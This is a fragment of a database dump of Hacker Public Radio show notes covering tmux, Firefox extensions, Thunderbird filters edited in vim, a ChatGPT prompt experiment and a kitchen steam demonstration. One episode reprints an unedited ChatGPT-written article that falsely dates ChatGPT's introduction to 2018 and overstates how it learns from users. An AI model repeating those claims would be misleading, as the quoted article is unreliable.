<a\nhref=\"https://en.wikipedia.org/wiki/Aldi\">Wikipedia article about\nAldi</a></p>\n<p><strong>Picture 13</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/13.jpeg\"\nalt=\"Picture 13: Caramel Wacko chocolate bar\" /></p>\n',201,23,1,'CC-BY-SA','Bag, Work',0,0,1),
(3843,'2023-04-26','LinuxLUGCast pre-show ramblings',4348,'Lugcast participants ramble about things before the podcast','<p>I first want to apologize for my crappy show notes.</p>\n<p>That out of the way. Welcome to LinuxLUGCast episode 217 the\npre-show. Normally this gets tacked on to the end of the regular\npodcast, but Ken put out a call for shows and we figured this was the\neasiest way to get a show out. I was going to try to meet up with these\nsame people on Mumble and talk about something technical for HPR, but\nlet\'s be honest the conversation would probably still have turned into\nTV and movies, and we were already together and recording. Plus\nhopefully I can use this to convince other people to come and join the\nLugcast. We record every first and third Friday of the month using\nmumble. Check out linuxlugcast.com for all the details.</p>\n',269,0,1,'CC-BY-SA','linux,movies,TV,LUG',0,0,1),
(3845,'2023-04-28','Using tmux, the terminal multiplexer Overview',707,'Archer72 uses tmux and restores sessions between reboots','<p>Using tmux, the terminal multiplexer on multiple machines</p>\n<ul>\n<li>Terminal is ROXTerm</li>\n<li>Uncheck \'Show Menubar\'</li>\n</ul>\n<p><a href=\"https://realh.github.io/roxterm/en/index.html\"\ntitle=\"ROXTerm on Github\">ROXTerm on Github</a></p>\n<p>What is Tmux?</p>\n<p><a href=\"https://github.com/tmux/tmux/wiki\"\ntitle=\"Tmux wiki on Github\">Tmux wiki on Github</a></p>\n<p>Getting started</p>\n<p><a href=\"https://github.com/tmux/tmux/wiki/Getting-Started\"\ntitle=\"Tmux Getting Started page on Github\">Tmux Getting Started page on\nGithub</a></p>\n<p>Tmux Cheat Sheet &amp; Quick Reference</p>\n<p><a href=\"https://tmuxcheatsheet.com\" title=\"Tmux Cheat Sheet\">Tmux\nCheat Sheet</a></p>\n<p>Basic .tmux.conf</p>\n<pre><code>set -g prefix C-a\nunbind C-b\nbind C-a send-prefix\nsetw -g window-status-activity-style &quot;fg=colour27,bg=colour234,none&quot;</code></pre>\n<p>Remote .tmux.conf</p>\n<pre><code>set -g prefix C-f\nunbind C-b\nbind C-f send-prefix\nsetw -g window-status-activity-style &quot;fg=colour27,bg=colour234,none&quot;</code></pre>\n<p>Start tmux</p>\n<pre><code>tmux a -d</code></pre>\n<ul>\n<li>Split pane horizontal - Prefix + %</li>\n<li>Split pane vertical - Prefix + \"</li>\n</ul>\n<p>Tmux resurrect</p>\n<p>Key bindings</p>\n<pre><code> prefix + Ctrl-s - save\n prefix + Ctrl-r - restore</code></pre>\n<p>About</p>\n<p>This plugin goes to great lengths to save and restore all the details\nfrom your tmux environment. Here\'s what\'s been taken care of:</p>\n<ul>\n<li>all sessions, windows, panes and their order</li>\n<li>current working directory for each pane</li>\n<li>exact pane layouts within windows (even when zoomed)</li>\n<li>active and alternative session</li>\n<li>active and alternative window for each session</li>\n<li>windows with focus</li>\n<li>active pane for each window</li>\n<li>\"grouped sessions\" (useful feature when using tmux with multiple\nmonitors)</li>\n<li>programs running within a pane! More details in the restoring\nprograms doc.</li>\n</ul>\n<p>Optional:</p>\n<ul>\n<li>restoring vim and neovim sessions</li>\n<li>restoring pane contents</li>\n<li>restoring a previously saved environment</li>\n</ul>\n<p>Installing TPM (Tmux Plugin Manager) , Tmux Resurrect and Tmux\nContinuum</p>\n<ul>\n<li>In ~/.tmux/plugins/</li>\n</ul>\n<pre><code>git clone https://github.com/tmux-plugins/tpm.git\ngit clone https://github.com/tmux-plugins/tmux-resurrect.git\ngit clone https://github.com/tmux-plugins/tmux-continuum.git</code></pre>\n<ul>\n<li>In a tmux window</li>\n</ul>\n<pre><code>prefix + I</code></pre>\n<ul>\n<li><p>Installs new plugins from GitHub or any other git\nrepository</p></li>\n<li><p>Refreshes TMUX environment</p></li>\n<li><p>Create a directory ~/.tmux/resurrect/</p>\n<ul>\n<li>This is where tmux-resurrect and tmux-continuum saves are\nlocated</li>\n<li>Do nothing and tmux-continuum saves automatically every 15 mins</li>\n<li>At any time use <code>Prefix + Ctrl-s</code> to save a snapshot of\nyour session</li>\n<li>To restore a session to the last save before a reboot\n<ul>\n<li>use <code>Prefix + Ctrl-s</code></li>\n</ul></li>\n</ul></li>\n</ul>\n<p>Here are the steps to restore to a previous point in time:</p>\n<ul>\n<li>make sure you start this with a \"fresh\" tmux instance</li>\n<li>$ cd <code>~/.tmux/resurrect/</code></li>\n<li>locate the save file you\'d like to use for restore (file names have\na stamp)</li>\n<li>symlink the last file to the desired save file: $\n<code>ln -sf &lt;file_name&gt; last</code></li>\n<li>do a restore with tmux-resurrect key:\n<code>Prefix + Ctrl-r</code></li>\n</ul>\n<p>Tmux on laptop</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3845/tmux_laptop.conf\"\ntitle=\"Tmux local configuration file\">tmux_laptop.conf</a></p>\n<p>Tmux on remote machine</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3845/tmux_remote.conf\"\ntitle=\"Tmux remote configuration file\">tmux_remote.conf</a></p>\n<p>Screenshot</p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3845/Screenshot.png\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3845/Screenshot_tn.png\"\ntitle=\"Screenshot of Tmux window with 4 panes\"\nalt=\"Screenshot\" /></a></p>\n',318,11,0,'CC-BY-SA','tmux, terminal apps, lightweight apps',0,0,1),
(3847,'2023-05-02','All about Synchrotrons',50,'Beginning of a series on Synchrotrons','<p>I moved cities a few years ago to start work at the Australian\nSynchrotron. While I\'m always going to be a software engineer, and I\'m\nnever going to be on top of all the science aspects of a synchrotron, I\nprobably now know enough to be able to put together a series all about\nsynchrotrons.</p>\n',315,0,0,'CC-BY-SA','science',0,0,1),
(3851,'2023-05-08','Firefox extensions',391,'Ken walks through a list of Extensions he has installed in Firefox and why he uses them','<p>The following is a list of the extensions I have enabled all the\ntime.</p>\n<ul>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/absolute-enable-right-click/\">Absolute\nEnable Right Click and Copy</a> Force Enable Right Click &amp; Copy</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/awesome-rss/\">Awesome\nRSS</a> Puts an RSS/Atom subscribe button back in URL bar.</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/cookies-txt/\">cookies.txt</a>\nExports all cookies to a Netscape HTTP Cookie File, as used by curl,\nwget, and youtube-dl, among others.</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/don-t-fuck-with-paste/\">Don\'t\nFeck With Paste</a> This add-on stops websites from blocking copy and\npaste for password fields and other input fields.</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/\">Firefox\nMulti-Account Containers</a> Lets you keep parts of your online life\nseparated into color-coded tabs. Cookies are separated by container,\nallowing you to use the web with multiple accounts.</li>\n<li><a href=\"https://tools.google.com/dlpage/gaoptout\"><a\nhref=\"https://tools.google.com/dlpage/gaoptout\">https://tools.google.com/dlpage/gaoptout</a></a>\nTells the Google Analytics JavaScript not to send information to Google\nAnalytics.</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/keepassxc-browser/\">KeePassXC-Browser</a>\nOfficial browser plugin for the KeePassXC password manager (<a\nhref=\"https://keepassxc.org\">https://keepassxc.org</a>) the\nCross-platform Password Manager</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/modheader-firefox/\">ModHeader\n- Modify HTTP headers</a> Modify HTTP request headers, response headers,\nand redirect URLs</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/\">uBlock\nOrigin</a> Finally, an efficient blocker. Easy on CPU and memory.</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher-revived/\">User-Agent\nSwitcher</a> Switch between popular useragent strings from toolbar\npopup!</li>\n</ul>\n',30,0,0,'CC-BY-SA','Extensions,Firefox,Security,Copy,Paste,Block,Privacy',0,0,1),
(3848,'2023-05-03','Editing Thunderbird email filters using vim.',1845,'Sgoti uses vim sessions to quickly edit his email filters.','<h3 id=\"prerequisites\">Prerequisites:</h3>\n<ul>\n<li>Backups of <strong>ALL</strong> your data (<em>especially your\nThunderbird directory</em>).<br />\n</li>\n<li><strong>Confirm your backups</strong> are working as expected.<br />\n</li>\n<li>Vim text editor installed with at least a basic/novice level\nknowledge of vim.<br />\n</li>\n<li>Thunderbird email client installed with at least a basic/novice\nlevel knowledge of the Thunderbird email client.<br />\n</li>\n<li>Web browser (preferably Firefox).<br />\n</li>\n</ul>\n<h3 id=\"thunderbird-directories.\">Thunderbird Directories.</h3>\n<p>I&#x2019;m on a GNU/Linux system (Pop_OS!) and I have Thunderbird installed\nvia the apt system package manager (.deb).</p>\n<ul>\n<li>System package manager install.\n<ul>\n<li><code>$HOME/.thunderbird/</code></li>\n</ul></li>\n<li>Snap package manager install.\n<ul>\n<li><code>$HOME/snap/.thunderbird/</code></li>\n</ul></li>\n<li>Flatpak package manager install.\n<ul>\n<li><code>$HOME/.var/.thunderbird/</code></li>\n</ul></li>\n<li>Windows 10 install.\n<ul>\n<li><code>C:\\Users\\your-account\\AppData\\Roaming\\Thunderbird\\</code></li>\n</ul></li>\n<li>Your Thunderbird email filters are located in this subdirectory\n(<em>msgFilterRules.dat</em>).\n<ul>\n<li><code>$HOME/.thunderbird/*.default-release/ImapMail/imap.email-accounts.com/msgFilterRules.dat</code></li>\n</ul></li>\n</ul>\n<h3 id=\"vim-directories.\">Vim Directories.</h3>\n<p>I&#x2019;ve created subdirectories within <code>$HOME/.config/</code> as a\nplace to store my vim sessions. You may not have these directories on\nyour system, but you can create them using the <code>mkdir</code>\ncommand.<br />\n</p>\n<ul>\n<li><code>$HOME/.config/vim/sessions/session-files-here.vim</code></li>\n</ul>\n<h3 id=\"vim-session-file.\">Vim session file.</h3>\n<p>I&#x2019;ve created session files for purposes of editing my Thunderbird\nemail filters. This session only stores the shortcuts needed to make\nflawless edits to my email filters. I will share them with you.<br />\n</p>\n<pre><code>nnoremap &lt;leader&gt;1 2dw$x0:s/ OR /\\rOR /g&lt;CR&gt;\nnnoremap &lt;leader&gt;2 Icondition=&quot;&lt;Esc&gt;A&quot;&lt;Esc&gt;0:s/ &quot;$/&quot;/&lt;CR&gt;\nnnoremap &lt;leader&gt;n1 gg0VG:s/$/ /&lt;CR&gt;gg0VG:s/ *$/ /&lt;CR&gt;gg0\nnnoremap &lt;leader&gt;s1 gg02f,&lt;C-v&gt;G$ugg02f,&lt;C-v&gt;G$:sort u&lt;CR&gt;gg0</code></pre>\n<h3 id=\"web-sources.\">Web sources.</h3>\n<ul>\n<li><strong>Article:</strong> <a href=\"https://www.vim.org/\"\ntitle=\"Vim is a highly configurable text editor built to make creating and changing any kind of text very efficient.\">Vim\n- the ubiquitous text editor</a><br />\n<ul>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://www.truth.sk/vim/vimbook-OPL.pdf\"\ntitle=\"Vim Documentation: The vim book (pdf file).\">Vim Documentation:\nThe vim book (pdf file).</a><br />\n</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.thunderbird.net/en-US/\"\ntitle=\"Make Email Easier.\">Thunderbird is a free email application\nthat&#x2019;s easy to set up and customize...</a><br />\n<ul>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://support.mozilla.org/en-US/products/thunderbird\"\ntitle=\"Thunderbird Support site.\">Thunderbird Support site.</a><br />\n</li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://support.mozilla.org/en-US/kb/keyboard-shortcuts-thunderbird?redirectslug=keyboard-shortcuts&amp;redirectlocale=en-US\"\ntitle=\"Keyboard shortcuts\">Keyboard shortcuts. Perform common\nThunderbird tasks quickly.</a><br />\n</li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://support.mozilla.org/en-US/kb/protect-your-thunderbird-passwords-primary-password\"\ntitle=\"Primary Password has replaced Master Password.\">Protect your\nThunderbird passwords with a Primary Password.</a><br />\n</li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://support.mozilla.org/en-US/kb/organize-your-messages-using-filters\"\ntitle=\"Message filters allow you to set up Thunderbird to organize your messages automatically.\">Organize\nYour Messages by Using Filters.</a><br />\n</li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://support.mozilla.org/en-US/kb/profiles-where-thunderbird-stores-user-data#w_finding-your-profile-without-opening-thunderbird\"\ntitle=\"How do I find my profile?\">Profiles. Where Thunderbird stores\nyour messages and other user data.</a><br />\n</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://medium.com/vim-drops/vim-sessions-50756b2c603a\"\ntitle=\"Vim&#x2019;s sessions, a tool to instantly save the state of everything in your current Vim session.\">Vim&#x2019;s\nsessions, a tool to instantly save the state of everything in your\ncurrent Vim session.</a><br />\n</li>\n</ul>\n<h3 id=\"creative-work-license.\">Creative work License.</h3>\n<p>This work is licensed under a <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/\"\ntitle=\"CC-BY-SA 4.0 International\">Creative Commons\nAttribution-ShareAlike 4.0 International License</a>.</p>\n',391,0,0,'CC-BY-SA','Thunderbird, Vim, Email Filters',0,0,1),
(3852,'2023-05-09','UDM ubiquiti Setup for 2023',634,'I talk briefly about my UDM router setup for 2023','<p>UDM / Piehole script:<br />\n<a\nhref=\"https://github.com/freeload101/SCRIPTS/blob/master/Bash/UDM_Unifi_Block_Ads.sh\"\nclass=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Bash/UDM_Unifi_Block_Ads.sh</a></p>\n',36,0,0,'CC-BY-SA','wireless,computers,networking',0,0,1),
(3853,'2023-05-10','Creating a Prompt for ChatGPT to generate an HPR show',613,'A rushed episode going over the steps I used to create a ChatGPT prompt to generate an HPR episode','<h1 id=\"introduction\">Introduction</h1>\n<p>Hello and Welcome hacker public radio audience my name is &#x2026; and\nwelcome to this podcast.</p>\n<p>As usual I\'d like to thank the people at HPR for making this service\navailable to us all on these here inter-tubes. Hacker Public Radio is a\ncommunity led podcast provided by the community for the community. That\nmeans you can contribute too.</p>\n<p>In this episode I decided to see if I could get get ChatGPT to write\nan HPR episode about itself. I was initially reluctant to do this.\nHowever, since HPR was recently short on shows and I was rather short on\ntime and ideas I decided to give it a go.</p>\n<p>One reason for my reluctance was that I didn\'t want HPR to be flooded\nwith shows generated by ChatGPT. The other reason being that a great\nshow covering ChatGPT was previously provided by the hpr host \"dnt\"\nentitled \"Chatbot hallucination\". Refer to 3803 <a\nhref=\"https://hackerpublicradio.org/eps.php?id=3803\">https://hackerpublicradio.org/eps.php?id=3803</a>.\nIn comparison, my poor attempt took about 10 minutes to generate while I\nwas waiting to be called for lunch.</p>\n<p>Below are the steps I used to generate the prompt to generate a show\nfor HPR.</p>\n<p>You interface with ChatGPT by providing it prompts. This just means\ntyping some text into the input field within the ChatGPT website.</p>\n<h1 id=\"the-steps-i-used-to-produce-the-chatgpt-prompt\">The steps I used\nto produce the ChatGPT prompt</h1>\n<p>Here is how I did it. Keep in mind that the complete process took\njust 10 minutes.</p>\n<ul>\n<li><p>I visited the ChatGPT website at:- <a\nhref=\"https://chatgpt.org/\">https://chatgpt.org/</a></p></li>\n<li><p>I copied and pasted the following prompt into ChatGPT. The text\nfor this prompt came from the following youtube video: <a\nhref=\"https://www.youtube.com/watch?v=OgYQAS9LY3o\">\"The ONE ChatGPT\nPrompt to Rule Them All\" by Jason West </a> :-</p>\n<ul>\n<li><p>I want you to become my Prompt Creator. Your goal is to help me\ncraft the best possible prompt for my needs. The prompt will be used by\nyou, ChatGPT. You will follow the following process:</p>\n<ol type=\"1\">\n<li><p>Your first response will be to ask me what the prompt should be\nabout. I will provide my answer, but we will need to improve it through\ncontinual iterations by going through the next steps.</p></li>\n<li><p>Based on my input, you will generate 3 sections.</p>\n<p>a) Revised prompt (provide your rewritten prompt. It should be clear,\nconcise, and easily understood by you),</p>\n<p>b) Suggestions (provide suggestions on what details to include in the\nprompt to improve it), and</p>\n<p>c) Questions (ask any relevant questions pertaining to what\nadditional information is needed from me to improve the\nprompt).</p></li>\n<li><p>We will continue this iterative process with me providing\nadditional information to you and you updating the prompt in the Revised\nprompt section until it\'s complete.</p></li>\n</ol></li>\n</ul></li>\n</ul>\n<h2 id=\"chatgpt-responded-with-\">ChatGPT responded with:-</h2>\n<blockquote>\n<p>Sounds like a fun and collaborative process! What should the prompt\nbe about?</p>\n</blockquote>\n<h2 id=\"i-replied-with-the-following-prompt-\">I replied with the\nfollowing prompt:-</h2>\n<blockquote>\n<p>Write a show for the hacker public radio podcast describing the\nhistory and use of ChatGPT. Include some examples about what it can be\nused for. Also include some relevant web links about ChatGPT.</p>\n</blockquote>\n<h2 id=\"chatgpt-responded-with--1\">ChatGPT responded with:-</h2>\n<blockquote>\n<p>Great! Based on your input, here are the revised prompt, suggestions,\nand questions for further clarification:</p>\n</blockquote>\n<h3 id=\"revised-prompt\">Revised prompt:</h3>\n<blockquote>\n<p>Create a Hacker Public Radio podcast episode that explores the\nhistory and applications of ChatGPT. Share examples of how ChatGPT can\nbe used and include relevant web links for listeners to learn more.</p>\n</blockquote>\n<h3 id=\"suggestions\">Suggestions:</h3>\n<ul>\n<li>Consider including information about the development of ChatGPT,\nsuch as who created it and when.</li>\n<li>Provide clear and concise examples of how ChatGPT can be used in\nvarious industries and fields, such as customer service, content\ncreation, and chatbots.</li>\n<li>Highlight the benefits and limitations of using ChatGPT, including\nits ability to learn and adapt to user inputs and the potential ethical\nconcerns surrounding its use.</li>\n<li>Provide relevant web links, such as the official OpenAI website and\narticles about the latest developments in ChatGPT technology.</li>\n</ul>\n<h3 id=\"questions\">Questions:</h3>\n<ul>\n<li>Is there a specific angle or focus you want to take in exploring the\nhistory and applications of ChatGPT?</li>\n<li>Do you have any specific examples or use cases of ChatGPT that you\nwould like to be included in the podcast episode?</li>\n<li>How technical should the podcast be? Should it cater to a more\ngeneral audience or dive into more technical details?</li>\n</ul>\n<h2 id=\"i-replied-with-the-following-prompt--1\">I replied with the\nfollowing prompt:-</h2>\n<ul>\n<li><p>Create a Hacker Public Radio podcast episode that explores the\nhistory and applications of ChatGPT. Share examples of how ChatGPT can\nbe used and include relevant web links for listeners to learn\nmore.</p></li>\n<li><p>Include information about the development of ChatGPT, such as who\ncreated it and when.</p></li>\n<li><p>Provide clear and concise examples of how ChatGPT can be used in\nvarious industries and fields, such as customer service, content\ncreation, and chatbots.</p></li>\n<li><p>Highlight the benefits and limitations of using ChatGPT,\nincluding its ability to learn and adapt to user inputs and the\npotential ethical concerns surrounding its use.</p></li>\n<li><p>Provide relevant web links, such as the official OpenAI website\nand articles about the latest developments in ChatGPT\ntechnology.</p></li>\n<li><p>The show is mainly aimed at hobbyist. Many of the listeners will\nhave Linux experience and IT experience. Some listeners may have some\nprogramming experience.</p></li>\n<li><p>The article should cater for both a general audience while also\ndiving into more technical details.</p></li>\n<li><p>Format the article using markdown as required.</p></li>\n</ul>\n<h2 id=\"chatgpt-responded-with--2\">ChatGPT responded with:-</h2>\n<h3 id=\"revised-prompt-1\">Revised prompt:</h3>\n<blockquote>\n<p>Create a Hacker Public Radio podcast episode exploring the history\nand applications of ChatGPT, an artificial intelligence language model\ndeveloped by OpenAI. ChatGPT has become increasingly popular due to its\nability to understand and generate human-like text, and its applications\nspan a wide range of industries and fields.</p>\n<p>In this episode, we will dive into the development of ChatGPT,\nincluding who created it and when. We will explore the technology behind\nit and how it has evolved over time.</p>\n</blockquote>\n<blockquote>\n<p>We will also provide clear and concise examples of how ChatGPT can be\nused in various industries and fields, such as customer service, content\ncreation, and chatbots. For example, ChatGPT can be used to generate\npersonalized responses to customer inquiries in real-time, create\nhigh-quality content for websites and social media platforms, and power\nchatbots that can assist with a range of tasks.</p>\n<p>Additionally, we will highlight the benefits and limitations of using\nChatGPT, including its ability to learn and adapt to user inputs and the\npotential ethical concerns surrounding its use. As ChatGPT continues to\ngrow in popularity, it is important to consider the implications of\nusing AI technology that can generate human-like text, such as the\npotential for bias and misinformation.</p>\n<p>To provide listeners with more information, we will include relevant\nweb links, such as the official OpenAI website and articles about the\nlatest developments in ChatGPT technology.</p>\n<p>This episode will cater to a general audience while also diving into\nmore technical details for listeners with Linux, IT, or programming\nexperience. The article will be formatted using markdown as\nrequired.</p>\n</blockquote>\n<h3 id=\"suggestions-1\">Suggestions:</h3>\n<ul>\n<li>Consider including interviews with experts in the field of AI or\nindividuals who have used ChatGPT in their work.</li>\n<li>Provide real-world examples of how ChatGPT has been used in various\nindustries and fields.</li>\n<li>Discuss the potential future applications of ChatGPT and where the\ntechnology may be headed.</li>\n<li>Address any common misconceptions or concerns about the use of AI\nlanguage models like ChatGPT.</li>\n</ul>\n<h3 id=\"questions-1\">Questions:</h3>\n<ul>\n<li>Is there a specific length you would like the podcast episode to\nbe?</li>\n<li>Are there any specific individuals or companies you would like us to\nfeature in the episode?</li>\n<li>Is there any particular tone or style you would like us to use for\nthe podcast episode?</li>\n</ul>\n<hr />\n<ul>\n<li><p>I stopped at this point and decided not to take on board any\nfurther suggestions or refinements. As I mentioned at the beginning this\nwhole process probably took no longer than 10mins.</p></li>\n<li><p>I will provide the show generated by ChatGPT in my next\nepisode.</p></li>\n</ul>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p><a href=\"https://en.wikipedia.org/wiki/ChatGPT\">Wikipedia article\ncovering ChatGPT</a></p></li>\n<li><p><a href=\"https://chatgpt.org/\">Link to the official ChatGPT\nwebsite</a></p></li>\n<li><p><a href=\"https://youtu.be/C_78DM8fG6E\">Interesting TED talk that\nincludes the inside story of ChatGPT by Greg Brockman</a></p></li>\n</ul>\n<!--\nvim: syntax=markdown:ts=4:sw=4:tw=0:et:ai:\n-->\n',201,0,1,'CC-BY-SA','ChatGPT,AI,\"Artificial Inelegance\"',0,0,1),
(3863,'2023-05-24','HPR episode about ChatGPT produced by ChatGPT',553,'In this article I gave ChatGPT a prompt and it produced an HPR episode about ChatGPT','<h1 id=\"introduction\">Introduction:</h1>\n<p>This is part 2 of my Chat GPT episode. (For part 1 refer to\nHPR3853)</p>\n<p>Incidentally I was quite surprised how long it took me to pull\ntogether part 1. This was primarily because I had to do all the work\ncreating the show notes. Part 2 should be a lot quicker since most of\nthe work including formatting the article in markdown was done by\nChatGPT.</p>\n<p>The only change I made to the episode created by ChatGPT was to\ncorrect a minor markdown formatting error in the OpenAI link at the\nbottom of the article.</p>\n<h1 id=\"the-following-article-was-produced-by-chatgpt\">The following\narticle was produced by ChatGPT</h1>\n<p>It was produced from the following prompt. The prompt itself was\nmostly written by ChatGPT with minimal input from myself. The prompt\ntook me 10 minutes to produce. Refer to my previous episode HPR3853.</p>\n<h2 id=\"prompt-used-to-create-hpr-episode\">Prompt used to create HPR\nepisode:</h2>\n<ul>\n<li><p>Create a Hacker Public Radio podcast episode exploring the\nhistory and applications of Chat GPT, an artificial intelligence\nlanguage model developed by OpenAI. Chat GPT has become increasingly\npopular due to its ability to understand and generate human-like text,\nand its applications span a wide range of industries and\nfields.</p></li>\n<li><p>In this episode, we will dive into the development of Chat GPT,\nincluding who created it and when. We will explore the technology behind\nit and how it has evolved over time.</p></li>\n<li><p>We will also provide clear and concise examples of how Chat GPT\ncan be used in various industries and fields, such as customer service,\ncontent creation, and chatbots. For example, Chat GPT can be used to\ngenerate personalized responses to customer inquiries in real-time,\ncreate high-quality content for websites and social media platforms, and\npower chatbots that can assist with a range of tasks.</p></li>\n<li><p>Additionally, we will highlight the benefits and limitations of\nusing Chat GPT, including its ability to learn and adapt to user inputs\nand the potential ethical concerns surrounding its use. As Chat GPT\ncontinues to grow in popularity, it is important to consider the\nimplications of using AI technology that can generate human-like text,\nsuch as the potential for bias and misinformation.</p></li>\n<li><p>To provide listeners with more information, we will include\nrelevant web links, such as the official OpenAI website and articles\nabout the latest developments in Chat GPT technology.</p></li>\n<li><p>Provide real-world examples of how Chat GPT has been used in\nvarious industries and fields.</p></li>\n<li><p>Discuss the potential future applications of Chat GPT and where\nthe technology may be headed.</p></li>\n<li><p>Address any common misconceptions or concerns about the use of AI\nlanguage models like Chat GPT.</p></li>\n<li><p>This episode will cater to a general audience while also diving\ninto more technical details for listeners with Linux, IT, or programming\nexperience.</p></li>\n<li><p>The episode should be approximately 1000 words long.</p></li>\n<li><p>Format the article using markdown as required.</p></li>\n</ul>\n<h2\nid=\"the-episode-created-by-chatgpt-all-nicely-formated-in-markdown\">The\nepisode created by ChatGPT all nicely formated in Markdown:</h2>\n<hr />\n<h1 id=\"hpr-episode-exploring-chat-gpt\">HPR Episode: Exploring Chat\nGPT</h1>\n<h2 id=\"introduction-1\">Introduction</h2>\n<p>In recent years, artificial intelligence (AI) has become an\nincreasingly popular topic in various industries and fields. One such\nexample is Chat GPT, an AI language model developed by OpenAI. Chat GPT\nhas the ability to understand and generate human-like text, making it a\npowerful tool for customer service, content creation, and chatbots. In\nthis episode, we will dive into the history and applications of Chat\nGPT.</p>\n<h2 id=\"history-of-chat-gpt\">History of Chat GPT</h2>\n<p>Chat GPT was first introduced in 2018 by OpenAI. It is part of a\nseries of AI language models known as the GPT series, with \"GPT\"\nstanding for \"Generative Pre-trained Transformer.\" Chat GPT was\ndeveloped using a deep learning technique called a transformer neural\nnetwork, which allows it to process large amounts of text and generate\ncoherent responses.</p>\n<h2 id=\"applications-of-chat-gpt\">Applications of Chat GPT</h2>\n<h3 id=\"customer-service\">Customer Service</h3>\n<p>Chat GPT can be used to generate personalized responses to customer\ninquiries in real-time. This can save companies time and money by\nautomating the customer service process. Chat GPT can also learn from\nprevious interactions to improve its responses over time.</p>\n<h3 id=\"content-creation\">Content Creation</h3>\n<p>Chat GPT can create high-quality content for websites and social\nmedia platforms. For example, it can be used to write product\ndescriptions, social media posts, and even entire articles.</p>\n<h3 id=\"chatbots\">Chatbots</h3>\n<p>Chat GPT can power chatbots that can assist with a range of tasks.\nFor example, it can be used to schedule appointments, answer common\nquestions, and even provide emotional support.</p>\n<h2 id=\"benefits-and-limitations-of-chat-gpt\">Benefits and Limitations\nof Chat GPT</h2>\n<h3 id=\"benefits\">Benefits</h3>\n<p>One of the main benefits of Chat GPT is its ability to learn and\nadapt to user inputs. This allows it to generate personalized responses\nthat are tailored to each individual user. Chat GPT can also process\nlarge amounts of text quickly, making it a useful tool for companies\nthat need to generate a lot of content.</p>\n<h3 id=\"limitations\">Limitations</h3>\n<p>However, there are also some limitations to using Chat GPT. One\npotential concern is the potential for bias and misinformation. Since\nChat GPT learns from existing text, it may pick up biases or\ninaccuracies that exist in the data it is trained on. Additionally,\nthere is a risk that Chat GPT may generate inappropriate or offensive\nresponses if it is not properly monitored.</p>\n<h2 id=\"future-applications-of-chat-gpt\">Future Applications of Chat\nGPT</h2>\n<p>Chat GPT has already been used in a variety of industries and fields,\nbut there is still a lot of potential for future applications. For\nexample, it could be used to power virtual assistants that are even more\nintelligent and personalized than current offerings. It could also be\nused to generate more sophisticated chatbots that can assist with\ncomplex tasks.</p>\n<h2 id=\"common-misconceptions-and-concerns\">Common Misconceptions and\nConcerns</h2>\n<p>One common misconception about Chat GPT is that it is a threat to\nhuman jobs. While it is true that Chat GPT can automate certain tasks,\nit is unlikely to replace humans entirely. Instead, it is more likely to\naugment human abilities and make certain tasks more efficient.</p>\n<p>Another concern is the ethical implications of using AI language\nmodels like Chat GPT. It is important to ensure that the data used to\ntrain Chat GPT is diverse and free of biases. Additionally, it is\nimportant to ensure that Chat GPT is used responsibly and not used to\nspread misinformation or harm individuals.</p>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>Chat GPT is a powerful tool that has the potential to revolutionize\ncustomer service, content creation, and chatbots. While there are some\nlimitations and concerns associated with its use, the benefits of using\nChat GPT are clear. As the technology continues to evolve, it is\nimportant to consider the ethical implications and ensure that it is\nused responsibly.</p>\n<p><a href=\"https://openai\">For more information on Chat GPT, visit the\nofficial OpenAI website at https://openai</a></p>\n',201,0,1,'CC-BY-SA','ChatGPT, AI, Artificial Inelegance',0,0,1),
(3883,'2023-06-21','Emergency Show: How to demonstrate the power of condensing steam',483,'A kitchen experiment to demonstrate the power of condensing steam','<h2>A kitchen experiment to demonstrate the power of condensing steam</h2>\n\n<p>What do you think about when you consider how a steam engine works?</p>\n\n<p>Well you probably think about a fire used to heat water in a pressure vessel to form super-heated steam.</p>\n\n<p>Then that steam is injected into cylinders in a controlled and sequenced manner to push a piston up the length of the cylinder. Piston rods and cranks are used to change the linear motion into rotary motion to drive wheels or gears.</p>\n\n<p>Inertia causes the rotary motion, through the same cranks and rods, to expel the spent steam from the cylinder, before the whole cycle begins again.</p>\n\n<p>But that\'s only half the story.</p>\n\n<p>Steam engines also use the power of a partial vacuum created by condensing steam to produce linear motion in the same way, or to suck the hot products of combustion from the fire through pipes which pass through the pressure-vessel and heat the water.</p>\n\n<h3>What you will need for the experiment</h3>\n\n<ol>\n<li>An empty drinks can, such as a 330ml soda can.</li>\n<li>A shallow container, such as a baking tray.</li>\n<li>A pair of barbecue tongs or kitchen tongs with which you will be able to grasp a hot can without burning your hand or getting too close to the heat.</li>\n<li>A source of heat, the cooker top in the kitchen is ideal.</li>\n</ol>\n\n<h3>How to do it</h3>\n\n<h4>Step 1:</h4>\n\n<p>Thoroughly wash out the empty can. Any sugary residue might burn and smell.</p>\n\n<p>Put about a centimetre (half an inch) of water into the can. Enough to cover the centre of the concave end of the can inside.</p>\n\n<h4>Step 2:</h4>\n\n<p>Place your shallow container next to your source of heat. This will most probably be a baking tray on the kitchen worktop next to the 